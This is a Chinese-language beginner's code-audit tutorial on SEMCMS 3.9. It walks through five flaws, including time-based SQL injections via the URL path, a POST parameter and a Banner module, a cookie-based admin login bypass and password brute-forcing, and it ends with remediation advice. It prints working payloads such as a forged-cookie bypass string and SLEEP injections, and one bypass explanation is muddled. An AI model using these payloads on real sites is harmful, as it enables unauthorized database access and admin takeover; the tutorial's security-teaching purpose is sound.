小白第一次审计
字数 1215 2025-08-09 15:23:02
SEMCMS代码审计与漏洞分析教学文档
一、环境准备与初步观察
-
CMS结构
- 解压至Web根目录(否则部分漏洞无法触发)
- 主要入口文件:
index.php,包含web_inc.php等核心文件
-
技术栈
- PHP + MySQL
- 关键函数:
include_once、ob_start(输出缓冲)、$_SERVER["REQUEST_URI"]
二、漏洞分析(共5处)
1. 第一处:URL路径SQL注入(高危)
- 文件:
web_inc.php - 漏洞代码:
$web_urls = explode('/', $_SERVER["REQUEST_URI"]); $lang = web_language_ml($web_urls[1], $db->conn); - 关键点:
web_language_ml函数直接拼接SQL查询,无过滤:SELECT * FROM sc_language WHERE language_abbr='$lang'- Payload:
http://target.com/' AND SLEEP(5)--+ - 限制:必须部署在根目录(否则
$web_urls[1]非预期值)
2. 第二处:后台登录绕过(高危)
- 文件:
SEMCMS_Top_include.php->checkuser() - 漏洞逻辑:
- 通过Cookie传递
scuseradmin和scuserpass进行认证 verify_str()和test_input()过滤可被绕过:- 大小写绕过:
Or 1#替代or 1# - 反斜杠转义:
scuseradmin=aaa\破坏引号闭合
- 大小写绕过:
- 通过Cookie传递
- Payload:
Cookie: scuseradmin=aaa\; scuserpass=Or 1# - 问题:本地环境可能存在执行但未跳转的兼容性问题(需调试)
3. 第三处:POST参数SQL注入(高危)
- 文件:
web_inc.php - 触发条件:POST提交
languageID参数 - 漏洞代码:
if (isset($_POST["languageID"])) { $language = test_input($_POST["languageID"]); // 直接拼接到SQL } - Payload:
POST / HTTP/1.1 languageID=1 AND SLEEP(5)--
4. 第四处:Banner模块SQL注入(中危)
- 文件:
SEMCMS_Banner.php - 漏洞代码:
$lgid = $_GET['lgid']; $sql = "SELECT * FROM sc_banner WHERE banner_lg='$lgid'"; - 绕过技巧:
- Windows大小写不敏感,需用其他关键词替代过滤词(如
SLEEP替代SELECT) - 依赖条件:需先绕过后台登录
- Windows大小写不敏感,需用其他关键词替代过滤词(如
5. 第五处:后台密码爆破(低危)
- 漏洞特征:
- 登录接口无验证码
- 可暴力破解管理员密码
- 工具:Burp Suite Intruder模块
三、防御与修复建议
-
输入过滤
- 使用预处理语句(PDO/mysqli_prepare)
- 统一过滤函数:强制大小写敏感、过滤特殊字符(如
preg_replace)
-
权限控制
- 后台路径重命名(避免默认
/vyT4nP_Admin/) - 会话验证增加Token机制
- 后台路径重命名(避免默认
-
其他加固
- 关键操作日志记录
- 文件包含使用白名单限制路径
四、审计技巧总结
- 入口追踪:从
index.php逐步分析包含文件 - 敏感函数:关注
include、eval、SQL拼接语句 - 调试手段:
var_dump($_SERVER)查看URL解析- 修改代码插入
echo调试输出
- 绕过测试:大小写、编码、逻辑缺陷组合测试
注:本文档基于SEMCMS 3.9版本分析,实际测试需遵守合法授权原则。